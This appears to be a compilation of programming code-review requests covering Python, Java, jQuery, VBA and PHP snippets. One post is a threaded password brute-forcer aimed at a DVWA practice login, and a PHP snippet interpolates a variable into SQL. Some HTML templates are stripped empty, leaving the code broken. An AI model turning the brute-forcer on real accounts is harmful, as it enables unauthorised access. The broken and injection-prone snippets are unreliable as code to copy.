ops={'AND':  ('∧', (lambda a,b:bool(operator.and_(a,b)))),
     'OR':   ('∨', (lambda a,b:bool(operator.or_(a,b)))),
     'NOT':  ('¬', (lambda a,b:bool(operator.not_(a)))),
     'NOR':  ('↓', (lambda a,b:bool(operator.not_(operator.or_(a,b))))),
     'XOR':  ('↮', (lambda a,b:bool(operator.xor(a,b)))),
     'XNOR': ('↔', (lambda a,b:bool(operator.not_(operator.xor(a,b))))),
     'NAND': ('↑', (lambda a,b:bool(operator.not_(operator.and_(a,b)))))}

pad = lambda x:(str(x) if len(str(x)) == 5 else str(x) + ' ')

for i in ops.keys():
    print i +',',ops[i][0],'\n' + '-'*25

    for j in table:
        print '|', pad(j[0]), '|', pad(j[1]), '|', pad(ops[i][1](j[0],j[1])), '|'

    print '-'*25, '\n'

I don't care much about the speed, but how can I improve the style and follow the PEP guidelines  in this program?


texts: Minecraft server querier that generates an image of online players

texts:
This little chunk of code is run every 10 seconds on my desktop. It generates a PNG with up to 6 player faces based on the list of online players.

Is there any way for this code to execute faster? Any comments?

Each player has a PNG of their avatar's face with the title: "username_face.png" These are pasted into the main image when that player is online.

I wrote this script to compile their faces into a single image for display in a program called conky, allowing me to display the online players as part of my desktop.

from mcstatus import MinecraftServer
import os
from PIL import Image

#Query the server and get player names.
server = MinecraftServer("123.123.123.123", 25565)
query = server.query()
nameList = query.players.names

#Sort the list of player names.
nameList.sort()

#Open our temporary file for storing player names.
tempFile = open('server1_previous_players.txt', 'r')
oldNameList = tempFile.read().splitlines()
tempFile.close()

def createImage(players):
    #create a blank transparent image with the dimensions: 212x147px.
    baseImage = Image.new("RGBA", (212, 147))
    slotList = [(17, 17), (82, 17), (147, 17), (17, 82), (82, 82), (147, 82)]

    if len(players) > 0:
        for x in range(0, 6):
            try:
                face = Image.open(str(nameList[x]).lower() + "_face.png", 'r')
                baseImage.paste(face, slotList[x])
            except:
                break

    baseImage.save("server1_online.png")

#If nothing changed, pass!
if nameList == oldNameList:
    print("same thing!")
    pass

#Else, if no-one is on, but the text file says people are on, empty the text file.
elif len(nameList) == 0 and len(oldNameList) > 0:
    print("everyone left :'(")
    tempFile = open('server1_previous_players.txt', 'w')
    createImage(nameList)

#Else, if at least 1 person is on, generate a new image accordingly.
elif len(nameList) > 0:
    tempFile = open('server1_previous_players.txt', 'w')
    print('\n'.join(nameList), file=tempFile)
    createImage(nameList)

else:
    pass


texts: Remove all occurrences of an element from an array, in place

texts:
I solved this problem:

  Given an array nums and a value val, remove all instances of that value in-place and return the new length. Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra memory.
  The order of elements can be changed. It doesn't matter what you leave beyond the new length.

How can I improve its execution time and also, if there is any better way of doing it?

public int removeElement(int[] numbers, int value) {
    int index = 0;
    for(; index < numbers.length; index++) {
        if(numbers[index] == value) {
            boolean otherNumberPresent = false;
            int j = index + 1;
            for(; j < numbers.length; j++ ){
                if(numbers[j] != value) {
                    otherNumberPresent = true;
                    break;
                }
            }
            if(otherNumberPresent) {
                int temp = numbers[j];
                numbers[j] = numbers[index];
                numbers[index] = temp;
            } else {
                return index;
            }
        }
    }
    return index;
}


texts:
Below is my jQuery scriptfile, all the functionality works (except for the click events on IE). I bring this before you guys to ensure I am effectively separating concerns and writing efficient scripts.

( function( $ ) {

  $( document ).ready(function() {
    setTimeout(textFill, 50);
    fitheadliner();
    showExcerpt();
    hideExcerpt();
  });

  $(window).resize( function() {
    fitheadliner();
    textFill();
  });

  function showExcerpt() {
    $('img.moreInfo').each(function() {
      var $excerpt = $(this),
        $excerptParent = $excerpt.parent();

      $excerpt.click(function() {
        var $boxInfo = $excerptParent.children('.modalExcerpt');
        $boxInfo.css("display", "initial");
      });
    });
  }

  function hideExcerpt() {
    $('.xBox').each(function() {
      var $thisBox = $(this);
      $thisBox.click(function() {
        $thisBox.parent().css("display", "none");
      });
    });

    $('.modalExcerpt').mouseleave(function() {
      if ($(window).width() > 700) {
        $(this).css("display", "none");
      };
    });
  }

  function fitheadliner() {
    $(".bigHeadline").each(function() {
    var
      $parent = $(this).parent(),
      $headline = $(this);

    var
      textW = $headline.width(),
      parentW = $parent.width(),
      ratio = parentW / textW;

    var
      originalSize = parseFloat($headline.css('font-size')),
      newSize = originalSize * (.99 * ratio);

      $headline.css("font-size", newSize);
    });
  }

function textFill() {
  $(".textFill").each(function() {
    var $text = $(this),
      $parent = $text.parent(),
      textW = $text.width(),
      textH = $text.height(),
      parentW = $parent.width(),
      parentH = $parent.height(),
      ratio = (parentW + parentH) / (textW + textH),
      originalSize = parseFloat($text.css('font-size'));

     var
      newSize = originalSize * (.9 * ratio);

    $text.css("font-size", newSize);

  });
}

} )( jQuery );


texts: Implementation of perceptron, inspired by Rashka

texts:
I am trying to learn the basics about neural networks by coding from scratch the perceptron model.

Since I am not a programmer and would like to improve my coding skills I would like to get your comments about this code. What do you think about it (I tried to respect the different steps: forward and backward for backpropagation)? I suppose it is quite horrific for a Python programmer and would be pleased to gain some insight about some of my evidently bad practices ;)

Here is my work (inspired by Rashka book):

class Perceptron(object):
    def __init__(self, eta=0.01, epochs=50):
        self.eta = eta
        self.epochs = epochs

    def fit(self, X, Y):
        self.w_ = np.zeros(X.shape[1])
        self.b_=0
        self.cost_ = []
        for _ in range(self.epochs):
            errors=0
            for x_i,y_i in zip(X,Y):
                y_hat=self.forward(x_i)
                gradL_W,gradL_b=self.backward(y_i,y_hat,x_i)
                self.w_,self.b_=self.update(gradL_W,gradL_b)
                errors+=(y_hat!=y_i)*1
            self.cost_.append(errors)
        return self

    def net_input(self, x):
        """Calculate net input"""
        return x.dot(self.w_) + self.b_

    def activation(self,z):
        heaviside= lambda x: (1, -1)[x<0]
        return heaviside(z)

    def forward(self,x):
        s= self.net_input(x)
        y_hat=self.activation(s)
        return y_hat

    def backward(self,y,y_hat,x):
        error=-(y-y_hat)
        gradL_b=error*1
        gradL_W=error*x
        return gradL_W,gradL_b

    def update(self,gradL_W,gradL_b):
        self.w_=self.w_-self.eta*gradL_W
        self.b_=self.b_-self.eta*gradL_b
        return self.w_,self.b_

    def predict(self,X):
        s=X.dot(self.w_)+self.b_
        y_hat=list(map(lambda x: (1, -1)[x<0],s))
        return y_hat


texts:
This is a Python script I made to create a HTML page listing the source files in the current directory.  The script creates a syntax highlighted preview of the files and lists some basic attributes.

I would like to know if this is the best method to generate the HTML code? Is there a web development library that would be more efficient for this task?

What are some ways that I could improve my webpage design?

# -*- coding: utf-8 -*-
import pygments
from pygments import highlight
from pygments.lexers import get_lexer_by_name
from pygments.formatters import HtmlFormatter
from pygments.lexers import guess_lexer, get_lexer_for_filename
from os import listdir, mkdir
from os.path import isfile, join, getsize, getctime, isdir, dirname, abspath
from time import ctime
import glob
from math import ceil

# configuration
mypath = "."
maxlines = 30
items_per_page = 10.0
base_path = dirname(abspath(__file__))+"/"
files_to_ignore = ["pgp", "der", "crt", "asc", "key"]

if isdir("pastebin/") == False:
    mkdir("pastebin/")

onlyfiles = [ f for f in glob.glob(mypath+"/*.*") if isfile(join(mypath,f)) ]
template = """
<!DOCTYPE html>

"""
valid_files = []
for name in onlyfiles:
    if name.split(".")[1:] in files_to_ignore:
        pass
    else:
        try:
            get_lexer_for_filename(name)
            valid_files.append(name)
        except pygments.util.ClassNotFound:
            pass

page_links = ""
for n in range(1, int(ceil(len(valid_files)/items_per_page))):
    page_links+=""" %d """%(n, n)
count=0
page_count=1
output=template
for name in valid_files:
    count+=1.0

    name=name.replace("./", "")
    code = "".join(open(name, "rb").readlines()[:maxlines])
    lexer = get_lexer_for_filename(name)
    formatter = HtmlFormatter(linenos=False, cssclass="source", encoding="utf-8")
    result = highlight(code, lexer, formatter)
    temp="""
"""
    temp+=""
    temp+="""
file-name

"""
    temp+=""" Created on: date-created """
    temp+="""Size: file-size """
    temp+="""

result
"""

    temp=temp.replace("ccs-color-codes", HtmlFormatter().get_style_defs('.source'))
    temp=temp.replace("file-name", name)
    temp=temp.replace("file-path", base_path+name)
    temp=temp.replace("file-size", str(getsize(name)))
    temp=temp.replace("date-created", ctime(getctime(name)))
    temp=temp.replace("result", result)
    output+=temp+"\n"

    if int(count) == int(items_per_page):
        count=0
        output+="""%s"""%(page_links)
        output+=""
        open("pastebin/page%d.html"%(page_count), "w").write(output)
        page_count+=1


texts:
I am learning infosec with DVWA (Damn Vulnerable Web Application). At first I've decided to write something to brute force admin login screen. I've downlaoded a list of most commonly used passwords and created a script which takes them and attempts to log in. What do you think of it, what could be improved?

#!/usr/bin/env python3

import threading
import requests

URL = 'http://localhost/login.php'
PASSWORD_FILE_NAME = 'common-passwords.txt'
entry_found = False

def create_threads(passwords):
    password_list_split_points = [
        (0, len(passwords) // 4),
        (len(passwords) // 4 + 1, len(passwords) // 2),
        (len(passwords) // 2 + 1, 3 * (len(passwords) // 4)),
        (3 * (len(passwords) // 4) + 1, len(passwords) - 1),
    ]
    thread_list = [threading.Thread(
        target=run_cracker,
        args=(
            passwords[split_point[0] : split_point[1]]
        )
    ) for split_point in password_list_split_points]
    return thread_list

def run_cracker(*passwords):
    global entry_found
    for password in passwords:
        if entry_found:
            break
        # Passwords still contain last \n char which has to be stripped.
        if crack_password(password.rstrip()):
            # This is set to True only once. No need for sync mechanisms.
            entry_found = True

def crack_password(password):
    print('[*] Trying password: "{}" ...'.format(password))
    response = requests.post(
        URL,
        data={'username': 'admin', 'Login': 'Login', 'password': password}
    )

    if bytes('Login failed', encoding='utf-8') not in response.content:
        print('[*] Login successful for username: {} password: {}'.format(
            'admin', password
        ))
        return True
    else:
        return False

if __name__ == '__main__':
    with open(PASSWORD_FILE_NAME) as password_file:
        passwords = password_file.readlines()

    thread_list = create_threads(passwords)

    for thread in thread_list:
        print('[*] Running thread: {}.'.format(thread.getName()))
        thread.start()

    for thread in thread_list:
        print('[*] Wating for {} to join.'.format(thread.getName()))
        thread.join()


texts:
I've written a script which is scraping  a webpage encrypted within javascript. The scraper is extracting name, price and image link of certain products from that page. I used selenium in combination with vba to accomplish that. Hope I did it nicely.

Sub Redmart_scraping()
Dim driver As New WebDriver
Dim posts As Object, post As Object

Set driver = New WebDriver
driver.Start "Phantomjs", "https://redmart.com"
driver.get "/bakery"
Set posts = driver.FindElementsByXPath("//li[@class='productPreview  ']")
On Error Resume Next
For Each post In posts
    i = i + 1
    Cells(i, 1) = post.FindElementByXPath(".//h4/a").Text
    Cells(i, 2) = post.FindElementByXPath(".//span[@class='ProductPrice__price___3BmxE']").Text
    Cells(i, 3) = post.FindElementByXPath(".//img[contains(@class,'showImage')]").Attribute("src")
Next post
End Sub


texts:
This is a function that checks that when users register into the site, they only create one single account per email. The little twist is that all emails in the DB are hashed with unique salts (=Input2). Because hashing the new mail input with all unique salts (=STEP 2) will be horribly slow, I keep a "diggest" version of emails (=Input3) in my DB. The diggest emails are a shorter and useless version of the emails. For example, John@gmail.com becomes jo@gm.com. The goal of that is diggest version is to reduce the number of emails to check in the DB (=STEP 1).

This function works pretty well but I'm afraid it will became very slow when DB becomes bigger.

Here is the code of the portion relevant to the problem:

$Requete1 = mysql_query("SELECT Input2 as email_test, Salt as salt FROM utilisateurs WHERE Input3='$email_diggest'");

    //Step 1
    if(mysql_num_rows($Requete1) == 0)
    {
        echo "No problem baby";
    }

    //Step 2
    while($row = mysql_fetch_assoc($Requete1))
    {
        $email_test = $row['email_test'];
        $salt = $row['salt'];

        $hash_email = base64_encode(pbkdf2($Email, $salt, 100000, 32));

        if($email_test == $hash_email)
        {
            echo "An account already exist with that email";
        }else
        {
            echo "No problem baby";
        }
    }


texts: Printing many-to-many relationships in an HTML/bootstrap table

texts:
I need to print the many-to-many relation ship in my tablet. However, I don't know what to do for my case: I tried tons of ideas, however, I may have done something wrong because nothing worked.

Here is the table printed (the last one Surfactante I put the Marca result, however, Surfactante is in a N x N relationship with Product with a table of theirs on produto_surfactante with (codProd, codSurf)):

Here is the function I am using to print (one of the possibilities suggested the relation of a View table, so I kept part of the idea here):

public function dataviewProd($query)
{
    $stmt = $this->conn->prepare($query);
    $stmt->execute();

    if($stmt->rowCount()>0)
    {
        while($row=$stmt->fetch(PDO::FETCH_ASSOC))
        {
            //takes the name of "Marca"
            $codM = $row['codMarca'];
            $stmtM = $this->conn->prepare("SELECT nomeMarca FROM marca WHERE codMarca = :codM;");
            $stmtM->execute(array(":codM"=>$codM));
            $nomeMarca = $stmtM->fetch(PDO::FETCH_ASSOC)['nomeMarca'];

            ////takes the name of "Tipo de produto"
            $codTP = $row['codTipoProd'];
            $stmtTP = $this->conn->prepare("SELECT nomeTipoProd FROM tipodeproduto WHERE codTipoProd = :codTP;");
            $stmtTP->execute(array(":codTP"=>$codTP));
            $nomeTipoProd = $stmtTP->fetch(PDO::FETCH_ASSOC)['nomeTipoProd'];

            //this one should take the names of all "surfactantes" separated by ","
            $nomeProd = $row['nomeProd'];
            //$stmtPSV = $this->conn->prepare("SELECT s.nomeSurf
                                            //FROM produtosurfview psv
                                            //  INNER JOIN surfactante s
                                            //      ON psv.Surfactante = s.codSurf
                                            //WHERE psv.NomeProduto = {$nomeProd};");
            //$stmtPSV->execute(array(":nomeProd"=>$nomeProd));
            //$stmtPSV->setFetchMode(PDO::FETCH_ASSOC);
            //$prodsurf = $stmtPSV->fetch(PDO::FETCH_ASSOC);

            ?>

            <?php print($row['codProd']); ?>
            <?php print($row['nomeProd']); ?>
            <?php print($row['tipoCab']); ?>
            <?php print($nomeMarca); ?>
            <?php print($nomeTipoProd); ?>
            <?php print($nomeMarca); ?>

            <a class='btn btn-warning btn-sm' href="alterarProduto.php?edit_id=<?php print($row['codProd']); ?>" role='button'>

            <a class='btn btn-danger btn-sm' href="deletarProduto.php?delete_id=<?php print($row['codProd']); ?>" role='button'>

            <?php
        }
    }
    else
    {
        ?>

        Nada ainda cadastrado...

        <?php
    }

}


texts:
Given a huge graph, I want to traverse it, in the fastest way possible, and extract a subgraph with the following properties:

the starting node is specified
the maximum number of elements and max depth can be specified
if there are more links than the number specified, I want to save the information about the original number of links

To save all information I am using a class:

    class Link:
    def __init__(self, node, sons = None ,weight = None, depth = None):
        # name of the node
        self.node = node
        # number of links in the original graph
        self.weight = weight if weight is not None else 0
        # list of links in the reduced graph
        self.sons = sons if sons is not None else []
        # depth of the node with respect to the starting node
        self.depth = depth if depth is not None else 0

Note that the original graph is a dictionary, which can have loops.

    def reduce_graph(graph, start, max_depth, max_links = None):

        if start not in graph:
            return None

        to_visit = [Link(start, depth = 0)]
        visited = {}
        while to_visit:
            page = to_visit.pop(0)

            if page.depth >= max_depth:
                # we don't need to traverse this node, just save the number of links
                # in the original graph, if any
                try:
                    page.weight = len(graph[page.node])
                except KeyError:
                    page.weight = 0

                # let's make sure we will not visit this node again
                visited[page.node] = page
                continue

            else:
                # we are visiting a new node
                try:
                    # str(l) to ensure compatibility with imported json files
                    # saving at most max_links links
                    links = [Link(str(l), depth = page.depth + 1) for l in graph[page.node][:max_links]]
                    # number of links in the original graph
                    page.weight = len(graph[page.node])
                    page.sons = links
                    visited[page.node] = page
                    to_visit.extend([l for l in links if l.node not in visited])

                except KeyError:
                    # this node in not present in the original graph
                    page.weight = 0
                    visited[page.node] = page

        return visited


texts:
I have a script that converts a text file to html. The text file is an output of a program (needle). The function takes the text file as an input. I am aware the script is awful. I use this function in Django. I would like to improve it. Can you help me with it?. Here is the result file from the script.

def write_html(result):
    sequence_1 = ''
    sequence_2 = ''
    identity = ''
    similarity = ''
    gaps = ''
    html_string = ''
    with open("/Users/catuf/Desktop/needle_align.txt", "w") as e:
        e.write('{% extends "database/base_table.html" %}' + "\n")
        e.write('\n')
        e.write("{% block content %}"+"\n")
        table1 = '''
        <!DOCTYPE html>

            Query Sequence
            Matched Sequence
            Identity
            Similarity
            Gaps

        '''

        table2 = """

        """
        for line in result.splitlines():
            #s = html.unescape(lines)
            #print(line)
            if line.startswith('# 1:'):
                line = line.split()
                sequence_1 = line[2]
            elif line.startswith('# 2:'):
                line = line.split()
                #print(line)
                sequence_2 = line[2]

            elif line.startswith('# Identity:'):
                identity = re.search(r"\d{1,3}\.\d*\%", line)
                identity = identity.group()
                identity = identity.replace('%', '')
                #identity = float(identity)* 100
                #identity = str(identity)

            elif line.startswith('# Similarity:'):
                similarity = re.search(r"\d{1,3}\.\d*\%", line)
                similarity = similarity.group()
                similarity = similarity.replace('%', '')

            elif line.startswith('# Gaps:'):
                line = line.split()
                gaps = line[2]

            elif line.startswith('#'):
                pass
            else:
                s = "
" + line + "
"
                html_string += s

        e.write(table1)
        e.write("" + sequence_1 + '	' + '\n')
        e.write("" + sequence_2 + '	'+ '\n')
        e.write(""+ identity + "%" + '	'+ '\n')
        e.write(""+ similarity+ "%" +'	'+ '\n')
        e.write(""+ gaps+ '	'+ '\n')
        e.write(table2)
        e.write(html_string)
        e.write("" + "\n")
        e.write("{% endblock content %}"+"\n")